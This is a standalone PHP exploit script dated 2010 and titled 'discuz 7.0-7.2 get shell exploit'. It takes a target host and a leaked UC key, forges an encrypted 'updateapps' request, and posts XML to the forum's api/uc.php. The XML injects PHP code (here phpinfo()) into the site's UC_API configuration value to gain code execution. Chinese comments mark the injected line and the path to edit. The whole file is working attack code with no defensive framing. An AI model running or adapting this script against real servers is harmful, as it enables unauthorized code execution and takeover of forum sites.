#!/usr/bin/php <?php print_r(' +-------------------------------------------------------------------------------------------+ 2010.2.6 discuz 7.0-7.2 get shell exploit by xhming site: http://hi.baidu.com/mr_xhming +-------------------------------------------------------------------------------------------+ '); if ($argc < 3) { print_r(' +-------------------------------------------------------------------------------------------+ error:php xxxx.com uc_ke +-------------------------------------------------------------------------------------------+ '); exit; }
error_reporting(7); ini_set('max_execution_time', 0);
$host = $argv[1]; $uc_key = $argv[2]; $k=time(); $get=array('time'=>$k,'action'=>'updateapps'); $code=encode_arr($get,$uc_key);
$cmd = <<<xhming <?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">');phpinfo();//</item> //插入的内容 <item id="bb">ffaaa</item> </root> xhming;
send($cmd); function send($cmd) { global $host, $code;
$message = "POST "."/dz7.2/api/uc.php?code=$code HTTP/1.1\r\n"; //路径看着改 $message .= "Content-Type: text/xml\r\n"; $message .= "User-Agent: Apache XML RPC 3.0 (Jakarta Commons httpclient Transport)\r\n"; $message .= "Host: $host\r\n"; $message .= "Content-Length: ".strlen($cmd)."\r\n\r\n"; $message .= $cmd; $fp = fsockopen($host, 80); fputs($fp, $message); $resp = '';
while ($fp && !feof($fp)) $resp .= fread($fp, 1024); return $resp; }
function encode_arr($get,$uc_key) { $tmp = ''; foreach($get as $key => $val) { $tmp .= '&'.$key.'='.$val; } return _authcode($tmp, 'ENCODE', $uc_key); }
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4;
$key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string);
$result = ''; $box = range(0, 255);
$rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); }
for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; }
for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); }
if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); }
}
?>
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